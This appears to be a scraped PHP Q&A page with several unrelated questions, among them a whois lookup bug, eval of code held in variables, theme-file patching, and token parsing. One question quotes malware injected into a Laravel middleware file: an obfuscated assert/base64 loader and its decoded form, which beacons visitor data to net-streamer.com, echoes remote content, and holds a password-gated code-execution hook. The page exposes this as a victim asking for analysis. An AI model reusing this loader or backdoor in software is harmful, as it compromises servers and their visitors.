Why strpos PHP not work with fsockopen response ?
When load this code. This code will be requests sdgsgsdgsfsdfsd.ca to whois.cira.ca server and find text Domain status: available with strpos PHP if found it's will be echo
{"domain":"sdgsgsdgsfsdfsdca","availability":"available"}
but if not found text. It's will be echo
{"domain":"sdgsgsdgsfsdfsdca","availability":"TAKEN"}
In this case found text but still echo
{"domain":"sdgsgsdgsfsdfsdca","availability":"TAKEN"}
How can i do ?
<?php
$server = "whois.cira.ca";
$response = "Domain status: available";
showDomainResult(sdgsgsdgsfsdfsd.ca,$server,$response);
function checkDomain($domain_check,$server,$findText)
{
$con = fsockopen($server, 43);
if (!$con) return false;
fputs($con, $domain_check."\r\n");
$response = ' :';
while(!feof($con))
{
$response .= fgets($con,128);
}
echo $response."<BR><BR><BR><BR><BR>";
fclose($con);
if (strpos($response, $findText))
{
return true;
}
else
{
return false;
}
}
function showDomainResult($domain_check,$server,$findText)
{
if (checkDomain($domain_check,$server,$findText))
{
class Emp
{
public $domain = "";
public $availability = "";
}
$e = new Emp();
$e->domain = $domain_check;
$e->availability = "available";
echo json_encode($e);
}
else
{
class Emp
{
public $domain = "";
public $availability = "";
}
$e = new Emp();
$e->domain = $domain_check;
$e->availability = "TAKEN";
echo json_encode($e);
}
}
?>
you're using strpos wrong, if the string START with what you're searching for, it will return int(0), which is "kinda false" by PHP's definition. explicitly check for false, like this
return false!==strpos($response, $findText);
and make sure you're using !== not !=
and as a rule of thumb, never use loose comparison operators in PHP if you can avoid it, hilarious bugs can occur if you do: https://3v4l.org/tT4l8
Related
I'm looking for a way to include or require the content of a variable, instead of a file.
Normally, one can require/include a php function file with either of these:
require_once('my1stphpfunctionfile.php')
include('my2ndphpfunctionfile.php');
Suppose I wanted to do something like this:
$contentOf1stFFile = file_get_contents('/tmp/my1stphpfunctionfile.php');
$contentOf2ndFFile = file_get_contents('/tmp/my2ndphpfunctionfile.php');
require_once($contentOf1stFFile);
require_once($contentOf2ndFFile);
Now, in the above example, I have the actual function files which I am loading into variables. In the real world scenario I'm actually dealing with, the php code in the function files are not stored in files. They're in variables. So I'm looking for a way to treat those variables as include/require treats the function files.
I'm new to php so please forgive these questions if you find them foolish. What I'm attempting to do here does not appear to be possible. What I ended up doing was using eval which I'm told is very dangerous and should be avoided:
eval("?>$contentOf1stFFile");
eval("?>$contentOf2ndFFile");
Content of $contentOf1stFFile:
# class_lookup.php
<?php
class Lookup_whois {
// Domain name which we want to lookup
var $domain;
// TLD for above domain, eg. 'com', 'net', etc...
var $tld;
// Array which contains information needed to parse the whois server response
var $tld_params;
// Sets to error code if something fails
var $error_code;
// Sets user-friendly error message if something goes wrong
var $error_message;
// For internal use mainly - raw response from the whois server
var $whois_raw_output;
function Lookup_whois($domain, $tld, $tld_params) {
$this->domain = $domain;
$this->tld = $tld;
$this->tld_params = $tld_params;
}
function check_domain_spelling() {
if (preg_match("/^([A-Za-z0-9]+(\-?[A-za-z0-9]*)){2,63}$/", $this->domain)) {
return true;
} else {
return false;
}
}
function get_whois_output() {
if (isset($this->tld_params[$this->tld]['parameter'])) {
$query = $this->tld_params[$this->tld]['parameter'].$this->domain.'.'.$this->tld;
} else {
$query = $this->domain.'.'.$this->tld;
}
$server = $this->tld_params[$this->tld]['whois'];
if (!$this->check_domain_spelling()) {
$this->error_message = 'Domain name is not correct, check spelling. Only numbers, letters and hyphens are allowed';
return false;
}
if (!$server) {
$this->error_message = 'Whois server name is empty, please check the config file';
return false;
}
$output = array();
$fp = fsockopen($server, 43, $errno, $errstr, 30);
if(!$fp) {
$this->error_code = $errno;
$this->error_message = $errstr;
fclose($fp);
return false;
} else {
sleep(2);
fputs($fp, $query . "\n");
while(!feof($fp)) {
$output[] = fgets($fp, 128);
}
fclose($fp);
$this->whois_raw_output = $output;
return true;
}
}
function parse_whois_data() {
if (!is_array($this->whois_raw_output) && Count($this->whois_raw_output) < 1) {
$this->error_message = 'No output to parse... Get data first';
return false;
}
$wait_for = 0;
$result = array();
$result['domain'] = $this->domain.'.'.$this->tld;
foreach ($this->whois_raw_output as $line) {
#if (ereg($this->tld_params[$this->tld]['wait_for'], $line)) {
if (preg_match($this->tld_params[$this->tld]['wait_for'],$line)) {
$wait_for = 1;
}
if ($wait_for == 1) {
foreach ($this->tld_params[$this->tld]['info'] as $key => $value) {
$regs = '';
if (ereg($value.'(.*)', $line, $regs)) {
if (key_exists($key, $result)) {
if (!is_array($result[$key])) {
$result[$key] = array($result[$key]);
}
$result[$key][] = trim($regs[1]);
} else {
$result[$key] = trim($regs[1]);
$i = 1;
}
}
}
}
}
return $result;
}
}
?>
Are there any other alternatives?
No there are no other alternatives.
In terms of security there is no difference if you include() a file or eval() the content. It depends on the context. As long as you only run your own code there is nothing "dangerous".
I am trying to replace some pieces of codes in different theme files using the below function, however, I am stuck with the second part of the function where I want to replace some PHP code which contains a single quote.
When I run the function, the only part changes is the first part.
function update_GTour_theme_files()
{
$new_update = file_get_contents("/home/tourieuw/public_html/wp-content/themes/grandtour/header.php");
$new_update = preg_replace('/\$page_menu_transparent = 1/', '\$page_menu_transparent = 0', $new_update);
$new_update = preg_replace('/\$grandtour_page_menu_transparent = 1/', '\$grandtour_page_menu_transparent = 0', $new_update);
if (file_put_contents("/home/tourieuw/public_html/wp-content/themes/grandtour/header.php", $new_update)) {
$errpass = TRUE;
} else {
$errmsg = "Header.php was not updated";
$errpass = FALSE;
}
$new_update_2 = file_get_contents("/home/tourieuw/public_html/wp-content/themes/grandtour/templates/template-tour-header.php");
$new_update_2 = preg_replace('/(esc_html(grandtour_format_tour_price($tour_price)))/', '\'From \'.esc_html(grandtour_format_tour_price($tour_price)', $new_update_2);
if (file_put_contents("/home/tourieuw/public_html/wp-content/themes/grandtour/templates/template-tour-header.php", $new_update_2)) {
$errpass = TRUE;
} else {
$errmsg = "template-tour-header.php was not updated";
$errpass = FALSE;
}
if ($errpass = TRUE) {
echo '</br><span style="color:green;font-weight:bold;">Changes were applied successfully.</span>';
} else {
echo '</br><span style="color:red;font-weight:bold;">' . $errmsg . '</span>';
}
}
I am expecting when running this function that both variables in two files will be replaced with this code
I was doing a project for a client. After a few days of finishing and uploading on the server, my client showed me errors occurring. When I checked the files I found a extra piece of code added in CheckForMaintenanceMode.php file inside
vendor/laravel/framework/illuminate/foundation/http/middleware
which is
//###==###
error_reporting(0);
$strings = "as";$strings .= "sert";
#$strings(str_rot13('riny(onfr64_qrpbqr("nJLtXTymp2I0XPEcLaLcXFO7VTIwnT8tWTyvqwftsFOyoUAyVUftnJLbVJIgpUE5XPEsD09CF0ySJlWwoTyyoaEsL2uyL2fvKFxcMTyyXPEsD09CF0ySJlWwoTyyoaEsL2uyL2fvKFx7nJLbVJymp2I0XPEwK1fvFSEHHS9OD0ASHSEsD0uOHyASIPWqXFy7WUEyoKNtCFOxnKWhLJ1yXS9sExyZEI9sXF4vY2AbVwfxL2uupaAyqPN9VTMcoTIsM2I0K2AioaEyoaEmXPE0MJ1jXGgcMvNbVFEwnTSlp2I0VPNzWvNunKAmMKDbWS9UEIEoVzAbLKWmMKDvKFxcrlEmqUVtCFOznJkyK2qyqS9wo250MJ50pltvnUE0pQbiYlVhWS9GEIWJEIWoVxuHISOsFR9GIPWqYvViC2AbLKWmMKD9ZFVcB2yzXUOlMJqsoJS0L2tbVv93nJ5xo3qmYGRlAGRinFVfVPEmqUVcXKfxL2uupaAyqPN9VPW3nJ5xo3qmYGRlAGRvB31yoUAynJLbpUWyM19gLKEwnPtvY3I0Mv04Y2xvYPNxp3ElXFy7WTAbLKWmMKDtCFNvqKEzYGtvB31yoUAyrlEwnTSlp2I0VQ0tVaqcozEiq3ZgZGV1ZFV7sFEbLJ5xoTHtCFOzo3OyovtxqTIgpPjtVapeVvx7MaqlnKEyXPEbLJ5xoTHfVPEwnTSlp2I0XGgzL2kip2HbWTuuozEfMFx7sFOyoUAyVUfxL2uupaAyqPN9VPW1qTLgBPV7sFNxLmNtCFNxL2uupaAyqQg9MJkmMKfxLmN9WTAsJlWVISEDK0SQD0IDIS9QFRSFH0IHVy07sJyzXTM1ozA0nJ9hK2I4nKA0pltvL3I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IWJEIWoVxuHISOsIIASHy9OE0IBIPWqYvEwZP4vZFVcXGg9VTyzVPucp3AyqPtxnJW2XFxtrlOyL2uiVPEcLaL7VU0tnJLbnKAmMKDbWS9FEISIEIAHJlWjVy0cVPLzVPEsHxIEIHIGISfvpPWqVQ09VPV4AJWwAzAzLvVcVUftDTSmp2IlqPtxK1WSHIISH1EoVzZvKFx7VU19"));'));
//###==###
After some basic decoding I found the following code written
if (isset($ibv))
{
echo $ibv;
}
else
{
if(!empty($_COOKIE["client_check"]))die($_COOKIE["client_check"]);
if(!isset($c_["HTTP_ACCEPT_CHARSET"]))
{
$temp = dirname(__FILE__)."/ch";$charset = file_get_contents($temp);
if (!$charset && !isset($_GET["charset"]))
{
$str = file_get_contents("http://".$_SERVER["HTTP_HOST"]."/?charset=1");
if(preg_match("/windows-1251/i", $str)){$charset = "windows-1251";
}
elseif(preg_match("/utf-8/i", $str))
{
$charset = "utf-8";
}
else
{
$charset = "windows-1251";
}
$handle = fopen($temp, "w+");
fwrite($handle, $charset);
fclose($handle);
}
else
{
$charset = "utf-8";
}
$c0 = $charset;
}
else
{
$c0=$c_["HTTP_ACCEPT_CHARSET"];
}
if(function_exists("curl_init"))
{
$c1=curl_init("http://net-streamer.com/get.php?d=".urlencode($_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"])."&u=".urlencode($_SERVER["HTTP_USER_AGENT"])."&c=".$c0."&i=1&ip=".$_SERVER["REMOTE_ADDR"]."&h=".md5("069a5edfc9e75c4abf03b0608636fe46".$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"].$_SERVER["HTTP_USER_AGENT"].$c0."1"));
curl_setopt($c1,42,false);
curl_setopt($c1,19913,true);
$ibv = curl_exec($c1);
curl_close($c1);
}
elseif(ini_get("allow_url_fopen")==1)
{
$ibv = file_get_contents("http://net-streamer.com/get.php?d=".urlencode($_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"])."&u=".urlencode($_SERVER["HTTP_USER_AGENT"])."&c=".$c0."&i=1&ip=".$_SERVER["REMOTE_ADDR"]."&h=".md5("069a5edfc9e75c4abf03b0608636fe46".$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"].$_SERVER["HTTP_USER_AGENT"].$c0."1"));
}
if (isset($ibv))
{
echo $ibv;
}
if(isset($_REQUEST["p"]) && $_REQUEST["p"] == "85bc6cfb")
{
#assert($_REQUEST["c"]);
}
}
But I do not understand what it does and why is it there. I also saw same type code added inside public/index.php.
Can some one please tell me why is it added and what it does?
I'm trying to parse PHP source code with the token_get_all(). So far everything worked out with that function, but now i need a way to get the return values of methods.
Identifying where a return is done isn't the problem. I just see no way of getting the piece of code that comes after the return value.
For example for this piece of code:
<?php
class Bla {
public function Test1()
{
$t = true;
if($t) {
return 1;
}
return 0;
}
public function Test2()
{
echo "bbb";
return; // nothing is returned
}
public function Test3()
{
echo "ccc";
$someval1 = 1;
$someval2 = 2;
return ($someval + $otherval)*2;
}
}
?>
I'm using get_token_all() to identify where a return is done:
$newStr = '';
$returnToken = T_RETURN;
$tokens = token_get_all($source);
foreach ($tokens as $key => $token)
{
if (is_array($token))
{
if (($token[0] == $returnToken))
{
// found return, now get what is returned?
}
else
{
$token = $token[1];
}
}
$newStr .= $token;
}
I have no clue how to get the piece of code that is actually returned. That is what i want to get.
Anyone any idea how i could do this?
Perhaps this might help. Though I curious to know what you are ultimately trying to do.
$tokens = token_get_all($str);
$returnCode = '';
$returnCodes = array();
foreach ($tokens as $token) {
// If return statement start collecting code.
if (is_array($tokens) && $token['0'] == T_RETURN) {
$returnCode .= $token[1];
continue;
}
// if we started collecting code keep collecting.
if (!empty($returnCode)) {
// if we get to a semi-colon stop collecting code
if ($token === ';') {
$returnCodes[] = substr($returnCode, 6);
$returnCode = '';
} else {
$returnCode .= isset($token[1]) ? $token[1] : $token;
}
}
}
For quite a while now we experience a very weird problem with our hosting server. Once a while (seems randomly) variables in PHP become NULLs.
In general everything works perfectly fine, but once a while it happens. All accounts on the server are affected and all PHP apps (including PHPMyAdmin, Wordpress our own scripts). We contacted our hosting company, but they are unable to find any solution.
I had few ideas, the most promising one was an issue with Suhosin. But I do not get any message in the log directly from it.
We made a simplest possible script to reproduce the error:
<?php
class Example
{
protected $stringVar = 'this is a string value';
public function accessParameter()
{
$error = false;
if (isset($this->stringVar) && !is_null($this->stringVar)) {
echo "string var : " . $this->toStringWithType($this->stringVar) . "\n";
} else {
echo "string var is not set\n";
$error = true;
}
if ($error) {
$logfile = dirname(__FILE__)."/random_bug_log.log";
file_put_contents($logfile, date('Y-m-d H:i:s')."\n", FILE_APPEND);
file_put_contents($logfile, $this->toStringWithType($this->stringVar) . "\n", FILE_APPEND);
}
}
public function toStringWithType($var)
{
$type = gettype($var);
return "($type) '$var'";
}
}
$e = new Example();
$e->accessParameter();
Normal output:
string var : (string) 'this is a string value'
Output when the weird thing happens:
string var is not set
I open to any ideas or suggestions how to solve this problem. I guess the ultimate solution is to change the hosting company. I did not manage to create this issue on localhost or any other server.
Test piece that have been made, including your suggestions:
<?php
class Example
{
protected $stringVar = 'this is a string value';
public function accessParameter() {
$error = false;
if(isset($this->stringVar) && !is_null($this->stringVar)) {
echo "string var : "
.$this->toStringWithType($this->stringVar)
."\n";
} else {
echo "string var is not set\n";
$error = true;
}
if($error) {
$logfile = dirname(__FILE__)."/random_bug_log.log";
file_put_contents($logfile, date('Y-m-d H:i:s')." ", FILE_APPEND);
file_put_contents($logfile,
$this->toStringWithType($this->stringVar) . "\n",
FILE_APPEND);
}
}
public function writeParameter() {
$this->stringVar="variable assigned";
if(isset($this->stringVar) && !is_null($this->stringVar)) {
echo "string var : "
.$this->toStringWithType($this->stringVar)
."\n";
} else {
echo "string var is not set\n";
$error = true;
}
}
public function toStringWithType($var)
{
$type = gettype($var);
return "($type) '$var'";
}
}
$e = new Example();
$e->accessParameter();
$e->writeParameter();
The output while the thing happens:
string var is not set
string var is not set
it is very strange problem.
it may not be a solution but worth to try;
protected $stringVar;
function __construct() {
$this->stringVar = 'this is a string value';
}
I would recommend to use !== instead of is_null to see if the variable is actually null.
if (isset($this->stringVar) && ($this->stringVar !== null)) {
or
if (isset($this->stringVar) && (!empty($this->stringVar)) {
should do the work too.
In case of theses type of issues check with the value that you have in if condition and do what you want in else. Like in your situation do like:
if(isset($this->stringVar) && ($this->stringVar == "this is a string value")) {
}else{
// your code here...
}